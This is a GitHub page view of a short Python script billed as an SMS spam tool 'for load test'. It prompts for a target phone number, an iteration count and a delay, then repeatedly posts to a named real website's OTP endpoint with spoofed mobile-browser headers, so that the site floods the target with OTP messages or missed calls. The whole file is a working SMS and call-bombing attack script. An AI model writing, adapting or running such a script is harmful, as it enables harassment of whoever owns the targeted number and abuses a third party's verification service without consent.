-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathspammerx.py
65 lines (56 loc) · 1.73 KB
/
spammerx.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#library python
from email import header
from urllib import response
from wsgiref import headers
import requests
import json
import os
import sys
import time
#user interface
os.system('clear')
logo = """
SPAM SMS TOOLS FOR LOAD TEST
Author : Emisi Lab
Team : IDNMAkerspace Algorithma Factory
Github : https://github.com/joeinus134131/
Format phone number must be :
>> 81234567689
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"""
os.system('clear')
print(logo)
#input data
target = input(" Target Number: ")
iterasi = input(" Iteration : ")
iterasi = int(iterasi)
delay = input(" Delay : ")
delay = int(delay)
# API URL
api_url = "https://www.nutriclub.co.id/otp/?phone=0" + target + "&old_phone=0" + target
# Header API
headers = {
"Host": "www.nutriclub.co.id",
"Content-Length": "0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"X-Requested-With": "XMLHttpRequest",
"Save-Data": "on",
"User-Agent": "Mozilla/5.0 (Linux; Android 8.1.0; CPH1853) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Mobile Safari/537.36",
"Origin": "https://www.nutriclub.co.id",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"Referer": "https://www.nutriclub.co.id/account/register",
}
# Iterasi untuk mengirim pesan
for i in range(iterasi):
response = requests.post(api_url, headers=headers).text
print("Message iteration -", i)
print("Sent message ......")
time.sleep(delay)
#json status
response_json = json.loads(response)
status = response_json.get("StatusMessage")
if status == "Request misscall berhasil":
print("\n {*} Spam call / Phone Number " + target + " Success \n")
else:
print("\n {*} Spam has been " + str(iterasi) + "x >> failed; \n")